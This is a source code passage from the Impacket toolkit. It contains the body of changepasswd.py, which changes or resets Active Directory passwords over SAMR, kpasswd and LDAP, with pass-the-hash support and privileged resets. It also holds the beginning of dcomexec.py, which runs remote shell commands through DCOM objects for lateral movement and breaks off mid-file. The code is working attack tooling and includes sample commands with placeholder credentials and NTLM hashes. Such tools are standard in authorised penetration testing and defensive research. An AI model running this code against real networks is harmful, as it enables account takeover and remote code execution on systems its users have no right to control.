SRV01/administrator:'Passw0rd!'@10.10.13.37 -newhashes :126502da14a98b58f2c319b81b3a49cb # -altuser CONTOSO/DomAdm -k -no-pass # # SAMR protocol over MS-RPC transport to change passwords # changepasswd.py -protocol rpc-samr contoso.local/j.doe:'Passw0rd!'@DC1 -newpass 'N3wPassw0rd!' # # Kerberos Change Password protocol (like kpasswd) (-newhashes is not supported and -k is implied) # changepasswd.py -protocol kpasswd contoso.local/j.doe:'Passw0rd!'@DC1 -newpass 'N3wPassw0rd!' # # Kerberos Reset Password protocol (like kpasswd) (-newhashes is not supported and -k is implied) # changepasswd.py -reset -protocol kpasswd contoso.local/j.doe@DC1 -newpass 'N3wPassw0rd!' # -altuser CONTOSO/SrvAdm # # LDAP password change (like ldappasswd) (-newhashes is not supported) # changepasswd.py -p ldap contoso.local/j.doe:'Passw0rd!'@DC1 -newpass 'N3wPassw0rd!' # changepasswd.py -p ldap -k contoso.local/j.doe:'Passw0rd!'@DC1 -newpass 'N3wPassw0rd!' # # LDAP password set (-newhashes is not supported) # changepasswd.py -reset -p ldap contoso.local/j.doe:'Passw0rd!'@DC1 -newpass 'N3wPassw0rd!' # -altuser administrator -althash 6fe945ead39a7a6a2091001d98a913ab # changepasswd.py -reset -p ldap -k contoso.local/j.doe:'Passw0rd!'@DC1 -newpass 'N3wPassw0rd!' # -altuser CONTOSO/SrvAdm -k -no-pass # # # This script is based on smbpasswd.py. # # Authors: # @snovvcrash # @alef-burzmali # @bransh # @Oddvarmoe # @p0dalirius # # References: # https://learn.microsoft.com/en-us/troubleshoot/windows-server/identity/password-change-mechanisms # [MS-SAMR] https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-samr/acb3204a-da8b-478e-9139-1ea589edb880 # [MS-SAMR] https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-samr/9699d8ca-e1a4-433c-a8c3-d7bebeb01476 # [MS-SAMR] https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-samr/538222f7-1b89-4811-949a-0eac62e38dce # [LDAP] https://learn.microsoft.com/en-us/troubleshoot/windows-server/identity/change-windows-active-directory-user-password # [KPASSWD] https://www.rfc-editor.org/rfc/rfc3244.txt # https://snovvcrash.github.io/2020/10/31/pretending-to-be-smbpasswd-with-impacket.html # https://www.n00py.io/2021/09/resetting-expired-passwords-remotely/ # https://github.com/samba-team/samba/blob/master/source3/utils/smbpasswd.c # https://github.com/fortra/impacket/pull/381 # https://github.com/fortra/impacket/pull/1189 # https://github.com/fortra/impacket/pull/1304 # import argparse import logging import sys from getpass import getpass from impacket import version from impacket.dcerpc.v5 import transport, samr, epm from impacket.krb5 import kpasswd from impacket.ldap import ldap, ldapasn1 from impacket.examples import logger from impacket.examples.utils import parse_target EMPTY_LM_HASH = "aad3b435b51404eeaad3b435b51404ee" class PasswordHandler: """Generic interface for all the password protocols supported by this script""" def __init__( self, address, domain="", authUsername="", authPassword="", authPwdHashLM="", authPwdHashNT="", doKerberos=False, aesKey="", kdcHost=None, ): """ Instantiate password change or reset with the credentials of the account making the changes. It can be the target user, or a privileged account. :param string address: IP address or hostname of the server or domain controller where the password will be changed :param string domain: AD domain where the password will be changed :param string username: account that will attempt the password change or reset on the target(s) :param string password: password of the account that will attempt the password change :param string pwdHashLM: LM hash of the account that will attempt the password change :param string pwdHashNT: NT hash of the account that will attempt the password change :param bool doKerberos: use Kerberos authentication instead of NTLM :param string aesKey: AES key for Kerberos authentication :param string kdcHost: KDC host """ self.address = address self.domain = domain self.username = authUsername self.password = authPassword self.pwdHashLM = authPwdHashLM self.pwdHashNT = authPwdHashNT self.doKerberos = doKerberos self.aesKey = aesKey self.kdcHost = kdcHost def _changePassword( self, targetUsername, targetDomain, oldPassword, newPassword, oldPwdHashLM, oldPwdHashNT, newPwdHashLM, newPwdHashNT ): """Implementation of a password change""" raise NotImplementedError def changePassword( self, targetUsername=None, targetDomain=None, oldPassword=None, newPassword="", oldPwdHashLM=None, oldPwdHashNT=None, newPwdHashLM="", newPwdHashNT="", ): """ Change the password of a target account, knowing the previous password. :param string targetUsername: account whose password will be changed, if different from the user performing the change :param string targetDomain: domain of the account :param string oldPassword: current password :param string newPassword: new password :param string oldPwdHashLM: current password, as LM hash :param string oldPwdHashMT: current password, as NT hash :param string newPwdHashLM: new password, as LM hash :param string newPwdHashMT: new password, as NT hash :return bool success """ if targetUsername is None: # changing self targetUsername = self.username if targetDomain is None: targetDomain = self.domain if oldPassword is None: oldPassword = self.password if oldPwdHashLM is None: oldPwdHashLM = self.pwdHashLM if oldPwdHashNT is None: oldPwdHashNT = self.pwdHashNT logging.info(f"Changing the password of {targetDomain}\\{targetUsername}") return self._changePassword( targetUsername, targetDomain, oldPassword, newPassword, oldPwdHashLM, oldPwdHashNT, newPwdHashLM, newPwdHashNT ) def _setPassword(self, targetUsername, targetDomain, newPassword, newPwdHashLM, newPwdHashNT): """Implementation of a password set""" raise NotImplementedError def setPassword(self, targetUsername, targetDomain=None, newPassword="", newPwdHashLM="", newPwdHashNT=""): """ Set or Reset the password of a target account, with privileges. :param string targetUsername: account whose password will be changed :param string targetDomain: domain of the account :param string newPassword: new password :param string newPwdHashLM: new password, as LM hash :param string newPwdHashMT: new password, as NT hash :return bool success """ if targetDomain is None: targetDomain = self.domain logging.info(f"Setting the password of {targetDomain}\\{targetUsername} as {self.domain}\\{self.username}") return self._setPassword(targetUsername, targetDomain, newPassword, newPwdHashLM, newPwdHashNT) class KPassword(PasswordHandler): """Use Kerberos Change-Password or Set-Password protocols (rfc3244) to change passwords""" def _changePassword( self, targetUsername, targetDomain, oldPassword, newPassword, oldPwdHashLM, oldPwdHashNT, newPwdHashLM, newPwdHashNT ): if targetUsername != self.username: logging.critical("KPassword does not support changing the password of another user (try setPassword instead)") return False if not newPassword: logging.critical("KPassword requires the new password as plaintext") return False try: logging.debug( ( targetUsername, targetDomain, newPassword, oldPassword, oldPwdHashLM, oldPwdHashNT, self.aesKey, self.kdcHost, ) ) kpasswd.changePassword( targetUsername, targetDomain, newPassword, oldPassword, oldPwdHashLM, oldPwdHashNT, aesKey=self.aesKey, kdcHost=self.kdcHost, ) except kpasswd.KPasswdError as e: logging.error(f"Password not changed: {e}") return False else: logging.info("Password was changed successfully.") return True def _setPassword(self, targetUsername, targetDomain, newPassword, newPwdHashLM, newPwdHashNT): if not newPassword: logging.critical("KPassword requires the new password as plaintext") return False try: kpasswd.setPassword( self.username, self.domain, targetUsername, targetDomain, newPassword, self.password, self.pwdHashLM, self.pwdHashNT, aesKey=self.aesKey, kdcHost=self.kdcHost, ) except kpasswd.KPasswdError as e: logging.error(f"Password not changed for {targetDomain}\\{targetUsername}: {e}") else: logging.info(f"Password was set successfully for {targetDomain}\\{targetUsername}.") class SamrPassword(PasswordHandler): """Use MS-SAMR protocol to change or reset the password of a user""" # our binding with SAMR dce = None anonymous = False def rpctransport(self): """ Return a new transport for our RPC/DCE. :return rpc: RPC transport instance """ raise NotImplementedError def authenticate(self, anonymous=False): """ Instantiate a new transport and try to authenticate :param bool anonymous: Attempt a null binding :return dce: DCE/RPC, bound to SAMR """ rpctransport = self.rpctransport() if hasattr(rpctransport, "set_credentials"): # This method exists only for selected protocol sequences. if anonymous: rpctransport.set_credentials(username="", password="", domain="", lmhash="", nthash="", aesKey="") else: rpctransport.set_credentials( self.username, self.password, self.domain, self.pwdHashLM, self.pwdHashNT, aesKey=self.aesKey, ) if anonymous: self.anonymous = True rpctransport.set_kerberos(False, None) else: self.anonymous = False rpctransport.set_kerberos(self.doKerberos, self.kdcHost) as_user = "null session" if anonymous else f"{self.domain}\\{self.username}" logging.info(f"Connecting to DCE/RPC as {as_user}") dce = rpctransport.get_dce_rpc() dce.connect() dce.bind(samr.MSRPC_UUID_SAMR) logging.debug("Successfully bound to SAMR") return dce def connect(self, retry_if_expired=False): """ Connect to SAMR using our transport protocol. This method must instantiate self.dce :param bool retry_if_expired: Retry as null binding if our password is expired :return bool: success """ if self.dce: # Already connected return True try: self.dce = self.authenticate(anonymous=False) except Exception as e: if any(msg in str(e) for msg in ("STATUS_PASSWORD_MUST_CHANGE", "STATUS_PASSWORD_EXPIRED")): if retry_if_expired: logging.warning("Password is expired or must be changed, trying to bind with a null session.") self.dce = self.authenticate(anonymous=True) else: logging.critical( "Cannot set new NTLM hashes when current password is expired. Provide a plaintext value for the " "new password." ) logging.debug(str(e)) return False elif "STATUS_LOGON_FAILURE" in str(e): logging.critical("Authentication failure when connecting to RPC: wrong credentials?") logging.debug(str(e)) return False elif "STATUS_ACCOUNT_RESTRICTION" in str(e): logging.critical( "Account restriction: username and credentials are valid, but some other restriction prevents" "authentication, like 'Protected Users' group or time-of-day restriction" ) logging.debug(str(e)) return False else: raise e return True def hSamrOpenUser(self, username): """Open an handle on the target user""" try: serverHandle = samr.hSamrConnect(self.dce, self.address + "\x00")["ServerHandle"] domainSID = samr.hSamrLookupDomainInSamServer(self.dce, serverHandle, self.domain)["DomainId"] domainHandle = samr.hSamrOpenDomain(self.dce, serverHandle, domainId=domainSID)["DomainHandle"] userRID = samr.hSamrLookupNamesInDomain(self.dce, domainHandle, (username,))["RelativeIds"]["Element"][0] userHandle = samr.hSamrOpenUser(self.dce, domainHandle, userId=userRID)["UserHandle"] except Exception as e: if "STATUS_NO_SUCH_DOMAIN" in str(e): logging.critical( "Wrong realm. Try to set the domain name for the target user account explicitly in format " "DOMAIN/username." ) logging.debug(str(e)) return False elif self.anonymous and "STATUS_ACCESS_DENIED" in str(e): logging.critical( "Our anonymous session cannot get a handle to the target user. " "Retry with a user whose password is not expired." ) logging.debug(str(e)) return False else: raise e return userHandle def _SamrWrapper(self, samrProcedure, *args, _change=True, **kwargs): """ Handles common errors when changing/resetting the password, regardless of the procedure :param callable samrProcedure: Function that will send the SAMR call args and kwargs are passed verbatim :param bool _change: Used for more precise error reporting, True if it is a password change, False if it is a reset """ logging.debug(f"Sending SAMR call {samrProcedure.__name__}") try: resp = samrProcedure(self.dce, *args, **kwargs) except Exception as e: if "STATUS_PASSWORD_RESTRICTION" in str(e): logging.critical( "Some password update rule has been violated. For example, the password history policy may prohibit the " "use of recent passwords or the password may not meet length criteria." ) logging.debug(str(e)) return False elif "STATUS_ACCESS_DENIED" in str(e): if _change: logging.critical("Target user is not allowed to change their own password") else: logging.critical(f"{self.domain}\\{self.username} user is not allowed to set the password of the target") logging.debug(str(e)) return False else: raise e if resp["ErrorCode"] == 0: logging.info("Password was changed successfully.") return True logging.error("Non-zero return code, something weird happened.") resp.dump() return False def hSamrUnicodeChangePasswordUser2( self, username, oldPassword, newPassword, oldPwdHashLM, oldPwdHashNT, newPwdHashLM, newPwdHashNT ): return self._SamrWrapper( samr.hSamrUnicodeChangePasswordUser2, "\x00", username, oldPassword, newPassword, oldPwdHashLM, oldPwdHashNT, _change=True, ) def hSamrChangePasswordUser( self, username, oldPassword, newPassword, oldPwdHashLM, oldPwdHashNT, newPwdHashLM, newPwdHashNT ): userHandle = self.hSamrOpenUser(username) if not userHandle: return False return self._SamrWrapper( samr.hSamrChangePasswordUser, userHandle, oldPassword=oldPassword, newPassword=newPassword, oldPwdHashNT=oldPwdHashNT, newPwdHashLM=newPwdHashLM, newPwdHashNT=newPwdHashNT, _change=True, ) def hSamrSetInformationUser(self, username, newPassword, newPwdHashLM, newPwdHashNT): userHandle = self.hSamrOpenUser(username) if not userHandle: return False return self._SamrWrapper(samr.hSamrSetNTInternal1, userHandle, newPassword, newPwdHashNT, _change=False) def _changePassword( self, targetUsername, targetDomain, oldPassword, newPassword, oldPwdHashLM, oldPwdHashNT, newPwdHashLM, newPwdHashNT ): if not self.connect(retry_if_expired=True): return False if newPassword: # If using a plaintext value for the new password return self.hSamrUnicodeChangePasswordUser2( targetUsername, oldPassword, newPassword, oldPwdHashLM, oldPwdHashNT, "", "" ) else: # If using NTLM hashes for the new password res = self.hSamrChangePasswordUser( targetUsername, oldPassword, "", oldPwdHashLM, oldPwdHashNT, newPwdHashLM, newPwdHashNT ) if res: logging.warning("User will need to change their password on next logging because we are using hashes.") return res def _setPassword(self, targetUsername, targetDomain, newPassword, newPwdHashLM, newPwdHashNT): if not self.connect(retry_if_expired=False): return False # If resetting the password with admin privileges res = self.hSamrSetInformationUser(targetUsername, newPassword, newPwdHashLM, newPwdHashNT) if res: logging.warning("User no longer has valid AES keys for Kerberos, until they change their password again.") return res class RpcPassword(SamrPassword): def rpctransport(self): stringBinding = epm.hept_map(self.address, samr.MSRPC_UUID_SAMR, protocol="ncacn_ip_tcp") rpctransport = transport.DCERPCTransportFactory(stringBinding) rpctransport.setRemoteHost(self.address) return rpctransport def _changePassword( self, targetUsername, targetDomain, oldPassword, newPassword, oldPwdHashLM, oldPwdHashNT, newPwdHashLM, newPwdHashNT ): if not newPassword: logging.warning( "MS-RPC transport requires new password in plaintext in default Active Directory configuration. Trying anyway." ) super()._changePassword( targetUsername, targetDomain, oldPassword, newPassword, oldPwdHashLM, oldPwdHashNT, newPwdHashLM, newPwdHashNT ) def _setPassword(self, targetUsername, targetDomain, newPassword, newPwdHashLM, newPwdHashNT): logging.warning( "MS-RPC transport does not allow password reset in default Active Directory configuration. Trying anyway." ) super()._setPassword(targetUsername, targetDomain, newPassword, newPwdHashLM, newPwdHashNT) class SmbPassword(SamrPassword): def rpctransport(self): return transport.SMBTransport(self.address, filename=r"\samr") class LdapPassword(PasswordHandler): """Use LDAP to change or reset a user's password""" ldapConnection = None baseDN = None def connect(self, targetDomain): """Connect to LDAPS with the credentials provided in __init__""" if self.ldapConnection: return True ldapURI = "ldaps://" + self.address self.baseDN = "DC=" + ",DC=".join(targetDomain.split(".")) logging.debug(f"Connecting to {ldapURI} as {self.domain}\\{self.username}") try: ldapConnection = ldap.LDAPConnection(ldapURI, self.baseDN, self.address) if not self.doKerberos: ldapConnection.login(self.username, self.password, self.domain, self.pwdHashLM, self.pwdHashNT) else: ldapConnection.kerberosLogin( self.username, self.password, self.domain, self.pwdHashLM, self.pwdHashNT, self.aesKey, kdcHost=self.kdcHost, ) except ldap.LDAPSessionError as e: logging.error(f"Cannot connect to {ldapURI} as {self.domain}\\{self.username}: {e}") return False self.ldapConnection = ldapConnection return True def encodeLdapPassword(self, password): """ Encode the password according to Microsoft's specifications Password must be surrounded by quotes and UTF-16 encoded """ return f'"{password}"'.encode("utf-16-le") def findTargetDN(self, targetUsername, targetDomain): """Find the DN of the targeted user""" answers = self.ldapConnection.search( searchFilter=f"(sAMAccountName={targetUsername})", searchBase=self.baseDN, attributes=("distinguishedName",), ) # return the DN of the first item for item in answers: if not isinstance(item, ldapasn1.SearchResultEntry): # skipping references to other partitions continue return str(item["objectName"]) def _modifyPassword(self, change, targetUsername, targetDomain, oldPasswordEncoded, newPasswordEncoded): if not self.connect(targetDomain): return False targetDN = self.findTargetDN(targetUsername, targetDomain) if not targetDN: logging.critical("Could not find the target user in LDAP") return False logging.debug(f"Found target distinguishedName: {targetDN}") # Build our Modify request request = ldapasn1.ModifyRequest() request["object"] = targetDN if change: request["changes"][0]["operation"] = ldapasn1.Operation("delete") request["changes"][0]["modification"]["type"] = "unicodePwd" request["changes"][0]["modification"]["vals"][0] = oldPasswordEncoded request["changes"][1]["operation"] = ldapasn1.Operation("add") request["changes"][1]["modification"]["type"] = "unicodePwd" request["changes"][1]["modification"]["vals"][0] = newPasswordEncoded else: request["changes"][0]["operation"] = ldapasn1.Operation("replace") request["changes"][0]["modification"]["type"] = "unicodePwd" request["changes"][0]["modification"]["vals"][0] = newPasswordEncoded logging.debug(f"Sending: {str(request)}") response = self.ldapConnection.sendReceive(request)[0] logging.debug(f"Receiving: {str(response)}") resultCode = int(response["protocolOp"]["modifyResponse"]["resultCode"]) result = str(ldapasn1.ResultCode(resultCode)) diagMessage = str(response["protocolOp"]["modifyResponse"]["diagnosticMessage"]) if result == "success": logging.info(f"Password was changed successfully for {targetDN}") return True if result == "constraintViolation": logging.error( f"Could not change the password of {targetDN}, possibly due to the password " "policy or an invalid oldPassword." ) elif result == "insufficientAccessRights": logging.error(f"Could not set the password of {targetDN}, {self.domain}\\{self.username} has insufficient rights") else: logging.error(f"Could not change the password of {targetDN}. {result}: {diagMessage}") return False def _changePassword( self, targetUsername, targetDomain, oldPassword, newPassword, oldPwdHashLM, oldPwdHashNT, newPwdHashLM, newPwdHashNT ): """ Change the password of a user. Must send a delete operation with the oldPassword and an add operation with the newPassword in the same modify request. """ if not oldPassword or not newPassword: logging.critical("LDAP requires the old and new passwords in plaintext") return False oldPasswordEncoded = self.encodeLdapPassword(oldPassword) newPasswordEncoded = self.encodeLdapPassword(newPassword) return self._modifyPassword(True, targetUsername, targetDomain, oldPasswordEncoded, newPasswordEncoded) def _setPassword(self, targetUsername, targetDomain, newPassword, newPwdHashLM, newPwdHashNT): """ Set the password of a user. Must send a modify operation with the newPassword (must have privileges). """ if not newPassword: logging.critical("LDAP requires the new password in plaintext") return False newPasswordEncoded = self.encodeLdapPassword(newPassword) return self._modifyPassword(False, targetUsername, targetDomain, None, newPasswordEncoded) def init_logger(options): logger.init(options.ts) if options.debug is True: logging.getLogger().setLevel(logging.DEBUG) logging.debug(version.getInstallationPath()) else: logging.getLogger().setLevel(logging.INFO) def parse_args(): parser = argparse.ArgumentParser( description="Change or reset passwords over different protocols.", ) parser.add_argument("target", action="store", help="[[domain/]username[:password]@]") parser.add_argument("-ts", action="store_true", help="adds timestamp to every logging output") parser.add_argument("-debug", action="store_true", help="turn DEBUG output ON") group = parser.add_argument_group("New credentials for target") exgroup = group.add_mutually_exclusive_group() exgroup.add_argument("-newpass", action="store", default=None, help="new password") exgroup.add_argument( "-newhashes", action="store", default=None, metavar="LMHASH:NTHASH", help="new NTLM hashes, format is NTHASH or LMHASH:NTHASH", ) group = parser.add_argument_group("Authentication (target user whose password is changed)") group.add_argument( "-hashes", action="store", default=None, metavar="LMHASH:NTHASH", help="NTLM hashes, format is NTHASH or LMHASH:NTHASH" ) group.add_argument("-no-pass", action="store_true", help="Don't ask for password (useful for Kerberos, -k)") group = parser.add_argument_group("Authentication (optional, privileged user performing the change)") group.add_argument("-altuser", action="store", default=None, help="Alternative username") exgroup = group.add_mutually_exclusive_group() exgroup.add_argument("-altpass", action="store", default=None, help="Alternative password") exgroup.add_argument( "-althash", "-althashes", action="store", default=None, help="Alternative NT hash, format is NTHASH or LMHASH:NTHASH" ) group = parser.add_argument_group("Method of operations") group.add_argument( "-protocol", "-p", action="store", help="Protocol to use for password change/reset", default="smb-samr", choices=( "smb-samr", "rpc-samr", "kpasswd", "ldap", ), ) group.add_argument( "-reset", "-admin", action="store_true", help="Try to reset the password with privileges (may bypass some password policies)", ) group = parser.add_argument_group( "Kerberos authentication", description="Applicable to the authenticating user (-altuser if defined, else target)" ) group.add_argument( "-k", action="store_true", help=( "Use Kerberos authentication. Grabs credentials from ccache file (KRB5CCNAME) based on target parameters. " "If valid credentials cannot be found, it will use the ones specified in the command line" ), ) group.add_argument( "-aesKey", action="store", metavar="hex key", help="AES key to use for Kerberos Authentication (128 or 256 bits)" ) group.add_argument( "-dc-ip", action="store", metavar="ip address", help=( "IP Address of the domain controller, for Kerberos. If omitted it will use the domain part (FQDN) specified " "in the target parameter" ), ) if len(sys.argv) == 1: parser.print_help() sys.exit(1) return parser.parse_args() if __name__ == "__main__": print(version.BANNER) options = parse_args() init_logger(options) handlers = { "kpasswd": KPassword, "rpc-samr": RpcPassword, "smb-samr": SmbPassword, "ldap": LdapPassword, } try: PasswordProtocol = handlers[options.protocol] except KeyError: logging.critical(f"Unsupported password protocol {options.protocol}") sys.exit(1) # Parse account whose password is changed targetDomain, targetUsername, oldPassword, address = parse_target(options.target) if not targetDomain: if options.protocol in ("rpc-samr", "smb-samr"): targetDomain = "Builtin" else: targetDomain = address if options.hashes is not None: try: oldPwdHashLM, oldPwdHashNT = options.hashes.split(":") except ValueError: oldPwdHashLM = EMPTY_LM_HASH oldPwdHashNT = options.hashes else: oldPwdHashLM = "" oldPwdHashNT = "" if oldPassword == "" and oldPwdHashNT == "": if options.reset: pass # no need for old one when we reset elif options.no_pass: logging.info("Current password not given: will use KRB5CCNAME") else: oldPassword = getpass("Current password: ") if options.newhashes is not None: newPassword = "" try: newPwdHashLM, newPwdHashNT = options.newhashes.split(":") if not newPwdHashLM: newPwdHashLM = EMPTY_LM_HASH except ValueError: newPwdHashLM = EMPTY_LM_HASH newPwdHashNT = options.newhashes else: newPwdHashLM = "" newPwdHashNT = "" if options.newpass is None: newPassword = getpass("New password: ") if newPassword != getpass("Retype new password: "): logging.critical("Passwords do not match, try again.") sys.exit(1) else: newPassword = options.newpass # Parse account of password changer if options.altuser is not None: try: authDomain, authUsername = options.altuser.split("/") except ValueError: authDomain = targetDomain authUsername = options.altuser if options.althash is not None: try: authPwdHashLM, authPwdHashNT = options.althash.split(":") except ValueError: authPwdHashLM = "" authPwdHashNT = options.althash else: authPwdHashLM = "" authPwdHashNT = "" authPassword = "" if options.altpass is not None: authPassword = options.altpass if options.altpass is None and options.althash is None and not options.no_pass: logging.critical( "Please, provide either alternative password (-altpass) or NT hash (-althash) for authentication, " "or specify -no-pass if you rely on Kerberos only" ) sys.exit(1) else: authDomain = targetDomain authUsername = targetUsername authPassword = oldPassword authPwdHashLM = oldPwdHashLM authPwdHashNT = oldPwdHashNT doKerberos = options.k if options.protocol == "kpasswd" and not doKerberos: logging.debug("Using the KPassword protocol implies Kerberos authentication (-k)") doKerberos = True # Create a password management session handler = PasswordProtocol( address, authDomain, authUsername, authPassword, authPwdHashLM, authPwdHashNT, doKerberos, options.aesKey, kdcHost=options.dc_ip, ) # Attempt the password change/reset if options.reset: handler.setPassword(targetUsername, targetDomain, newPassword, newPwdHashLM, newPwdHashNT) else: if (authDomain, authUsername) != (targetDomain, targetUsername): logging.warning( f"Attempting to *change* the password of {targetDomain}/{targetUsername} as {authDomain}/{authUsername}. " "You may want to use '-reset' to *reset* the password of the target." ) handler.changePassword( targetUsername, targetDomain, oldPassword, newPassword, oldPwdHashLM, oldPwdHashNT, newPwdHashLM, newPwdHashNT ) impacket-impacket_0_11_0/examples/dcomexec.py000077500000000000000000000702051446174712300214040ustar00rootroot00000000000000#!/usr/bin/env python # Impacket - Collection of Python classes for working with network protocols. # # Copyright (C) 2023 Fortra. All rights reserved. # # This software is provided under a slightly modified version # of the Apache Software License. See the accompanying LICENSE file # for more information. # # Description: # A similar approach to psexec but executing commands through DCOM. # You can select different objects to be used to execute the commands. # Currently supported objects are: # 1. MMC20.Application (49B2791A-B1AE-4C90-9B8E-E860BA07F889) - Tested Windows 7, Windows 10, Server 2012R2 # 2. ShellWindows (9BA05972-F6A8-11CF-A442-00A0C90A8F39) - Tested Windows 7, Windows 10, Server 2012R2 # 3. ShellBrowserWindow (C08AFD90-F2A1-11D1-8455-00A0C91F3880) - Tested Windows 10, Server 2012R2 # # Drawback is it needs DCOM, hence, I have to be able to access # DCOM ports at the target machine. # # Original discovery by Matt Nelson (@enigma0x3): # https://enigma0x3.net/2017/01/05/lateral-movement-using-the-mmc20-application-com-object/ # https://enigma0x3.net/2017/01/23/lateral-movement-via-dcom-round-2/ # # Author: # beto (@agsolino) # Marcello (@byt3bl33d3r) # # Reference for: # DCOM # # ToDo: # [ ] Kerberos auth not working, invalid_checksum is thrown. Most probably sequence numbers out of sync due to # getInterface() method # from __future__ import division from __future__ import print_function import argparse import cmd import logging import ntpath import os import sys import time from base64 import b64encode from six import PY2, PY3 from impacket import version from impacket.dcerpc.v5.dcom.oaut import IID_IDispatch, string_to_bin, IDispatch, DISPPARAMS, DISPATCH_PROPERTYGET, \ VARIANT, VARENUM, DISPATCH_METHOD from impacket.dcerpc.v5.dcomrt import DCOMConnection, COMVERSION from impacket.dcerpc.v5.dcomrt import OBJREF, FLAGS_OBJREF_CUSTOM, OBJREF_CUSTOM, OBJREF_HANDLER, \ OBJREF_EXTENDED, OBJREF_STANDARD, FLAGS_OBJREF_HANDLER, FLAGS_OBJREF_STANDARD, FLAGS_OBJREF_EXTENDED, \ IRemUnknown2, INTERFACE from impacket.dcerpc.v5.dtypes import NULL from impacket.examples import logger from impacket.examples.utils import parse_target from impacket.smbconnection import SMBConnection, SMB_DIALECT, SMB2_DIALECT_002, SMB2_DIALECT_21 from impacket.krb5.keytab import Keytab OUTPUT_FILENAME = '__' + str(time.time())[:5] CODEC = sys.stdout.encoding class DCOMEXEC: def __init__(self, command='', username='', password='', domain='', hashes=None, aesKey=None, share=None, noOutput=False, doKerberos=False, kdcHost=None, dcomObject=None, shell_type=None): self.__command = command self.__username = username self.__password = password self.__domain = domain self.__lmhash = '' self.__nthash = '' self.__aesKey = aesKey self.__share = share self.__noOutput = noOutput self.__doKerberos = doKerberos self.__kdcHost = kdcHost self.__dcomObject = dcomObject self.__shell_type = shell_type self.shell = None if hashes is not None: self.__lmhash, self.__nthash = hashes.split(':') def getInterface(self, interface, resp): # Now let's parse the answer and build an Interface instance objRefType = OBJREF(b''.join(resp))['flags'] objRef = None if objRefType == FLAGS_OBJREF_CUSTOM: objRef = OBJREF_CUSTOM(b''.join(resp)) elif objRefType == FLAGS_OBJREF_HANDLER: objRef = OBJREF_HANDLER(b''.join(resp)) elif objRefType == FLAGS_OBJREF_STANDARD: objRef = OBJREF_STANDARD(b''.join(resp)) elif objRefType == FLAGS_OBJREF_EXTENDED: objRef = OBJREF_EXTENDED(b''.join(resp)) else: logging.error("Unknown OBJREF Type! 0x%x" % objRefType) return IRemUnknown2( INTERFACE(interface.get_cinstance(), None, interface.get_ipidRemUnknown(), objRef['std']['ipid'], oxid=objRef['std']['oxid'], oid=objRef['std']['oxid'], target=interface.get_target())) def run(self, addr, silentCommand=False): if self.__noOutput is False and silentCommand is False: smbConnection = SMBConnection(addr, addr) if self.__doKerberos is False: smbConnection.login(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash) else: smbConnection.kerberosLogin(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash, self.__aesKey, kdcHost=self.__kdcHost) dialect = smbConnection.getDialect() if dialect == SMB_DIALECT: logging.info("SMBv1 dialect used") elif dialect == SMB2_DIALECT_002: logging.info("SMBv2.0 dialect used") elif dialect == SMB2_DIALECT_21: logging.info("SMBv2.1 dialect used") else: logging.info("SMBv3.0 dialect used") else: smbConnection = None dcom = DCOMConnection(addr, self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash, self.__aesKey, oxidResolver=True, doKerberos=self.__doKerberos, kdcHost=self.__kdcHost) try: dispParams = DISPPARAMS(None, False) dispParams['rgvarg'] = NULL dispParams['rgdispidNamedArgs'] = NULL dispParams['cArgs'] = 0 dispParams['cNamedArgs'] = 0 if self.__dcomObject == 'ShellWindows': # ShellWindows CLSID (Windows 7, Windows 10, Windows Server 2012R2) iInterface = dcom.CoCreateInstanceEx(string_to_bin('9BA05972-F6A8-11CF-A442-00A0C90A8F39'), IID_IDispatch) iMMC = IDispatch(iInterface) resp = iMMC.GetIDsOfNames(('Item',)) resp = iMMC.Invoke(resp[0], 0x409, DISPATCH_METHOD, dispParams, 0, [], []) iItem = IDispatch(self.getInterface(iMMC, resp['pVarResult']['_varUnion']['pdispVal']['abData'])) resp = iItem.GetIDsOfNames(('Document',)) resp = iItem.Invoke(resp[0], 0x409, DISPATCH_PROPERTYGET, dispParams, 0, [], []) pQuit = None elif self.__dcomObject == 'ShellBrowserWindow': # ShellBrowserWindow CLSID (Windows 10, Windows Server 2012R2) iInterface = dcom.CoCreateInstanceEx(string_to_bin('C08AFD90-F2A1-11D1-8455-00A0C91F3880'), IID_IDispatch) iMMC = IDispatch(iInterface) resp = iMMC.GetIDsOfNames(('Document',)) resp = iMMC.Invoke(resp[0], 0x409, DISPATCH_PROPERTYGET, dispParams, 0, [], []) pQuit = iMMC.GetIDsOfNames(('Quit',))[0] elif self.__dcomObject == 'MMC20': iInterface = dcom.CoCreateInstanceEx(string_to_bin('49B2791A-B1AE-4C90-9B8E-E860BA07F889'), IID_IDispatch) iMMC = IDispatch(iInterface) resp = iMMC.GetIDsOfNames(('Document',)) resp = iMMC.Invoke(resp[0], 0x409, DISPATCH_PROPERTYGET, dispParams, 0, [], []) pQuit = iMMC.GetIDsOfNames(('Quit',))[0] else: logging.fatal('Invalid object %s' % self.__dcomObject) return iDocument = IDispatch(self.getInterface(iMMC, resp['pVarResult']['_varUnion']['pdispVal']['abData'])) if self.__dcomObject == 'MMC20': resp = iDocument.GetIDsOfNames(('ActiveView',)) resp = iDocument.Invoke(resp[0], 0x409, DISPATCH_PROPERTYGET, dispParams, 0, [], []) iActiveView = IDispatch(self.getInterface(iMMC, resp['pVarResult']['_varUnion']['pdispVal']['abData'])) pExecuteShellCommand = iActiveView.GetIDsOfNames(('ExecuteShellCommand',))[0] self.shell = RemoteShellMMC20(self.__share, (iMMC, pQuit), (iActiveView, pExecuteShellCommand), smbConnection, self.__shell_type, silentCommand) else: resp = iDocument.GetIDsOfNames(('Application',)) resp = iDocument.Invoke(resp[0], 0x409, DISPATCH_PROPERTYGET, dispParams, 0, [], []) iActiveView = IDispatch(self.getInterface(iMMC, resp['pVarResult']['_varUnion']['pdispVal']['abData'])) pExecuteShellCommand = iActiveView.GetIDsOfNames(('ShellExecute',))[0] self.shell = RemoteShell(self.__share, (iMMC, pQuit), (iActiveView, pExecuteShellCommand), smbConnection, self.__shell_type, silentCommand) if self.__command != ' ': try: self.shell.onecmd(self.__command) except TypeError: if not silentCommand: raise if self.shell is not None: self.shell.do_exit('') else: self.shell.cmdloop() except (Exception, KeyboardInterrupt) as e: if logging.getLogger().level == logging.DEBUG: import traceback traceback.print_exc() if self.shell is not None: self.shell.do_exit('') logging.error(str(e)) if smbConnection is not None: smbConnection.logoff() dcom.disconnect() sys.stdout.flush() 